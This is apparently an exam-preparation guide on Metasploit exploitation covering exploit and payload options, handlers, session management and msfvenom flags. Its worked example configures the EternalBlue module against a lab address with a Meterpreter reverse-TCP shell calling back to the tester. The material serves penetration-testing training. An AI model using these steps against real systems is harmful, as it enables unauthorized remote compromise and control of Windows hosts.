Exploitation with Modules and Payloads
Exploitation with modules and payloads tests whether you can configure an exploit correctly, select a compatible payload, establish a handler, and manage sessions without collateral damage. Expect questions on TARGET, PAYLOAD, LHOST, LPORT, staged payloads, multi/handler, and msfvenom.
Core rules
- Minimum configuration is
RHOSTS,RPORT,TARGET,PAYLOAD,LHOST, andLPORT.LHOSTmust be an address the target can reach;127.0.0.1only works when the target is the same host. show payloadslists payloads compatible with the selected target. Architecture and platform must match; a 64-bit target generally needs an x64 payload.exploit -jruns as a job;exploit -zbackgrounds the session after success.sessions -llists sessions;sessions -i <id>interacts.- For a standalone listener, use
exploit/multi/handler, set the samePAYLOAD,LHOST, andLPORT, and setExitOnSession falseif you need multiple sessions. msfvenomgenerates payloads outside the console:-ppayload,-fformat,-eencoder,-iiterations,-xtemplate,-ooutput.
Worked example
Use exploit/windows/smb/ms17_010_eternalblue. Set RHOSTS 10.10.10.23, LHOST 10.10.10.5, LPORT 4444, and PAYLOAD windows/x64/meterpreter/reverse_tcp. Run exploit -z, then sessions -i 1. Reasoning: the target is 64-bit, so the x64 payload matches; LHOST is the tester's reachable interface; the exploit module starts its own handler, so a separate multi/handler is unnecessary. If you later generate a standalone EXE with msfvenom, you must start multi/handler with the identical payload and ports.
Traps
- Leaving
LHOSTas localhost or a NAT address the target cannot route to. - Choosing a payload for the wrong architecture.
- Starting a handler with a staged payload name when the generated payload is stageless.
- Assuming an encoder provides antivirus evasion.
- Using
exploit -jand then wondering why no session appears in the foreground.